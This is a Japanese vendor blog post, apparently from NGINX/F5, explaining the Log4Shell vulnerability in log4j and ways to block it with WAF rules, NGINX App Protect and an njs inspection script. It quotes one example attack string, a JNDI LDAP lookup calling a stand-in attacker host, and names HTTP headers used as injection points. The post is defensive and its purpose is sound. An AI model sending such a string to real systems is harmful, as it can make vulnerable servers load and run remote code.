2021年12月10日 金曜日、世界中の多くのITに従事する方にとって忘れられない日になるでしょう。この日はJavaアプリケーションのロギングライブラリとして非常に有名なlog4jに、重大なゼロデイの脆弱性が見つかった日です。この脆弱性は「Log4Shell」という名前で呼ばれ、あらゆる規模の企業において緊急の脆弱性対策が必要となりました。この記事を掲載している今も、様々なパッチの適用が必要になり、その状況が継続しています。
NGINXとF5はこの脅威を分析しました。この投稿ではお客様のアプリケーションを保護するための様々な対応策を提案いたします。
Log4Shellとは?
log4jライブラリの2.15以前のバージョンには、CVE-2021-44228で説明されているリモートコード実行(Remote Code Execution(RCE))の脆弱性があります。(log4jのバージョン2.16はこの脆弱性に対する修正がなされています) Log4Shellはこの脆弱性を悪用した攻撃に対してつけられた名称です。しかし、この脆弱性とは一体何で、なぜこれほどに重要なのでしょうか?CVEに記述されているように、Apache log4j Javaライブラリは、入力値の検証を適切に行っていません。
log4jライブラリとJavaランタイムのJava Naming and Directory Interface(JNDI)機能を利用し、LDAPからユーザ名、DNSからIPアドレスなど、外部ソースからデータを取得し、ログエントリに含めることが可能となります。不幸なことに、リモートの攻撃者はこのJNDIの機能を悪用し、彼らが作成した悪意あるJavaのコードを実行することが可能となります。次の図はその攻撃を示しています。

脆弱性を悪用するため、攻撃者はアプリケーションのコードを騙し、${jndi:ldap://evil.xa/x}
といった文字列をログエントリに書き込む必要があります。ここでポイントとなるのは、ログメッセージのどこにその文字列を書き込むかということです。多くのアプリケーションにとってロギングは不可欠で、User-Agent
やX-Forwarded-For
、URIなどHTTP Headerの情報やリクエストのBodyなど、受信する各リクエストの多くの異なる情報をログに記録します。そこが多くの攻撃の経路となり、log4jでこれらの文字列がログに記録される限り、アプリケーションが悪用される可能性があります。
NGINXはこの脆弱性の影響を受けるか?
答えはNoです。NGINXはC言語で記述されJavaやJava Baseのライブラリを使用していないため、NGINX自身はこの脆弱性の影響を受けません。全てのF5およびNGINX製品に関するCVE-2021-44228の正式な情報についてはAskF5 ナレッジベースのK19026212の記事を御覧ください。
NGINXでどの様にこの脆弱性に対する攻撃を防御することができるか?
前述したように、攻撃者はHTTPリクエストのどこかで、対象となるアプリケーションに攻撃となる文字列を送信する必要があります。NGINXは、受信したリクエストに含まれる危険な兆候(Indications of compromise(IOCs))をスキャンし、ブロックするためのいくつかの機能を提供しています。
悪意のあるリクエストをブロックする最も効率的な方法はWebアプリケーションファイアウォール(WAF)を利用することです。WAFは受信するすべてのリクエストを精査し、予め定義されたルールと比較することで、CVE-2021-44228の兆候を確認します。ただし、ゼロデイ攻撃に関する発表の後にWAFのルールを更新することは、防御側と攻撃側におけるイタチごっこが始まります。特定の攻撃に対して有効なWAFのルールが公開されると攻撃者はWAFをバイパスするためのテクニックやパターンを探します。このことから、WAFのルールは最新に保つことを心がけてください。
NGINX ModSecurity WAF
ModSecurityはオープンソースのWAFであり、NGINXの商用版でも提供されています。 OWASP ModSecurity Core Rule Set (CRS)にはLog4Shellを緩和することが可能な既存のルール(932130)が含まれています。このソリューションに関するより高度な防御についての詳細はCRSブログを参照してください。
NGINX App Protect WAF
NGINX App Protect WAF はモダンなアプリケーションセキュリティのソリューションです。各種攻撃の情報やWAFをバイパスする手法に関して継続的な調査を元に、Log4Shell攻撃を効果的に検知するための新しいルールを含むServer Side Code Injectionシグネチャのセットを更新しました。詳細についてはAskF5 Knowledge Baseを御覧ください。
NGINX JavaScript Module
NGINXとNGINX Plusは多くのJavaを利用したアプリケーションの前段でリバースプロキシとして利用されています。WAFの利用が難しいユーザ、お客様のため、NGINX JavaScript Module (njs)を利用したスクリプトを作成しました。このスクリプトは、HTTPヘッダー、URI、及び受信リクエストのBodyをスキャンし、既知のIOC文字列と正規表現を使用して入力データを検査し、悪質なリクエストをブロックします。
njsのスクリプトはGitHubで公開されています。njsモジュールのインストール方法についてはNGINX Plus Admin Guideを参照してください。
まとめ
Log4Shellに対する最も効果的な対策は、アプリケーションコードにJDNIを無効にするlog4jのバージョン2.16以降を適用することです。もし、この対応を直ちに実施することが難しい場合、パッチを適用するまでの間、WAFは攻撃に対する効果的な防御策となります。もしWAFの導入が難しい場合には、当社のnjsスクリプトを使用し、攻撃に対する保護を実装することが可能です。以下のリソースで詳細を確認し、お客様アプリケーションに最適な保護機能を選択してください。
リソース
- CVE-2021-44228 – CVEの公式情報
- Zero-Day Exploit Targeting Popular Java Library Log4j – 脆弱性の概要
- K19026212: Apache Log4j2 Remote Code Execution vulnerability CVE-2021-44228 – F5の正式な情報
- CRS and Log4j / Log4Shell / CVE-2021-44228 – ModSecurity Core Rule Set に関するブログ
- NGINX njs Request Inspection for CVE-2021-44228 – NGINX JavaScriptを用いた防御方法